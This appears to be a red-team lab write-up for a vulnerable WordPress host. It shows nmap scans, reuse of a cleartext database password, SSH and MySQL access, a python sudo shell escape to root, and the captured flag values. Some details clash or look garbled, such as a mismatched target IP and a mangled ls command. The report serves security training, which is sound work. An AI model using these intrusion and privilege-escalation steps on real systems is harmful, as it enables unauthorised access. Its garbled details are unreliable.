

# Red Team: Summary of Operations

## Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

## Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

This scan identifies the services below as potential points of entry

```
root@Kali:~# nmap -p 1-200 192.168.1.105
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-08 17:28 PST
Nmap scan report for 192.168.1.105
Host is up (0.00085s latency).
Not shown: 198 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 00:15:5D:00:04:0F (Microsoft)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
root@Kali:~# nmap 192.168.1.1-200
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-08 17:30 PST
Nmap scan report for 192.168.1.1
Host is up (0.00060s latency).
Not shown: 995 filtered ports
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
2179/tcp   open  vmrpd
3389/tcp   open  ms-wbt-server
MAC Address: 00:15:5D:00:04:0D (Microsoft)

Nmap scan report for 192.168.1.100
Host is up (0.00093s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
9200/tcp   open  wap-wsp
MAC Address: 4C:EB:42:D2:D5:D7 (Intel Corporate)

Nmap scan report for 192.168.1.105
Host is up (0.00081s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 00:15:5D:00:04:0F (Microsoft)

Nmap scan report for 192.168.1.110
Host is up (0.00070s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
```

- Target 1 Scan Command: nmap -sV 192.168.1.110
  - Open Ports: 22, 80, 111, 139, 445
  - Exposed Services: ssh, http, rpcbind, netbios-ssn

The following vulnerabilities were identified on each target:

- Target 1
  - Wpscan user enumeration
    - Wpscan was able to enumerate users to find their usernames and passwords
  - SSH connections,
    - Users are able to SSH into the target computer with a password instead of a SSH key
  - Database credentials are in plain text
    - Database credentials for the wordpress site were found in the /var/www/html/wp\_config.php directory in plain text. This allowed access to the mysql database for the site, password hashes, and other sensitive information
  - Privilege Escalation with Python
    - User, Steven, has access to run python using sudo. He essentially has root access to run potentially malicious scripts on the host machine

## Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
  - flag1.txt: b9bbcb33e11b80be759c4e844862482d
    - **Exploit Used**
      - Weak Password / SSH with password
        - After SSHing into the host with Michael's credentials, searched the /var/www/html directory for flag1
      - **Commands run:**
        - ssh michael@192.168.1.100
        - cd /var/www/html
        - cat service.html | grep flag

```
michael@target1:/var/www/html$ cat service.html | grep flag
<!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->
```

- flag2.txt: fc3fd58dcdad9ab23faca6e9a36e581c
  - **Exploit Used**
    - Weak Password / SSH with password
      - After SSHing into the host with Michael's credentials, flag2 was found in /var/www

■ **Commands run:**

- ssh michael@192.168.1.100
- cd /var/www
- cat flag2.txt

```
michael@target1:/var/www$ ls -plugins-version-detection passive
flag2.txt html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```

- flag3.txt: afc01ab56b50591e7dccf93122770cd2

■ **Exploit Used**

- Database credentials in plain text
  - After getting the database credentials from /var/www/html/wp\_config.php, connected to the mysql database and searched for the flag
- **Commands run:**
  - ssh michael@192.168.1.100
  - less /var/www/html/wp\_config.php
  - mysql --user root --password # Password is R@v3nSecurity
  - mysql> SELECT post\_title, post\_content FROM wp\_posts WHERE post\_title LIKE "flag%";
  - This returned the value for flag 3

```
flag3{afc01ab56b50591e7dccf93122770cd2}
```

- flag4.txt: 715dea6c055b9fe3337544932f2941ce

■ **Exploit Used**

- Privilege escalation with Python
  - After cracking Steven's password using john, the hash was found in the database. It was determined that Steven could run python with sudo permissions.
  - This allows python to be used as sudo to execute a shell program, granting access to the root account.
  - flag4.txt was found in the /root directory, the root account's home directory.
- **Commands run:**
  - python -c 'import os; os.system("/bin/sh")'
  - cat flag4.txt

```
flag4{715dea6c055b9fe3337544932f2941ce}
```